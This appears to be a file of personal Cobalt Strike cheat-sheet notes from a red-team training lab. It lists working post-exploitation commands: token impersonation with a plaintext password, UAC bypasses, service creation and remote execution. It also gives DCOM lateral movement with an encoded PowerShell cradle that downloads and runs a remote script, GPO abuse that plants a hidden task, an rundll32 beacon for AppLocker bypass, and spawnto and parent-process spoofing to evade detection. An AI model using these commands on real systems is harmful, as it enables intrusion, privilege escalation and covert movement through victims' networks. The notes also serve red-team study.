Files
2025-11-21 17:17:42 +01:00

1.9 KiB

  • Make token for local administrator on another machine
    • make_token wkstn-1921\Administrator MVYZKwfr356v3M
    • Equivalent to runas /netonly
  • Spawn beacon as another user
    • spawnas CYBER\\n.lamb REDACTED http-vpn
    • Equivalent to runas.exe
  • Execute command on remote machine
    • remote-exec winrm DTOP896 type C:\Users\duggand\Desktop\AppLocker.txt
  • Create new Windows service
    • runasadmin uac-cmstplua sc.exe create "Cthulhu Fhtagn Service" start= auto binPath= "C:\Temp\cthulhu.exe"
    • runasadmin uac-cmstplua sc.exe start "Cthulhu Fhtagn Service"
  • UAC Bypass
    • elevate uac-token-duplication tcp-localhost
  • Lateral movement using DCOM
    • execute-assembly C:\Tools\MiscTools\CsDCOM\bin\Debug\CsDCOM.exe -t wkstn-4945 -b powershell.exe -a "-enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA0ADIAOQA6ADgAMAA4ADEALwB0ACcAKQA=" -m mmc20application
  • SharpGPOAbuse
    • execute-assembly C:\tools\SharpGPOAbuse\SharpGPOAbuse\bin\Debug\SharpGPOAbuse.exe --AddComputerTask --TaskName "Legit Task" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c powershell -nop -w hidden -enc cABv[...snip...]ACIA" --GPOName "Cthulhu GPO"
  • Run DLL payload (great for AppLocker bypass)
    • C:\Windows\System32\rundll32.exe C:\Users\Administrator\Desktop\beacon.dll,StartW
  • Reverse Port Forward
    • rportfwd 8080 10.10.5.120 80
  • Change the executable which the beacon will spawn to perform various postex procs (default: rundll32.exe)
    • spawnto x64 %windir%\sysnative\notepad.exe
    • Can also set in C2 profile
      post-ex {
          set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
          set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
      }
      
  • Change parent process for all beacon post-ex procs that spawn a process
    • ppid <PID of desired process>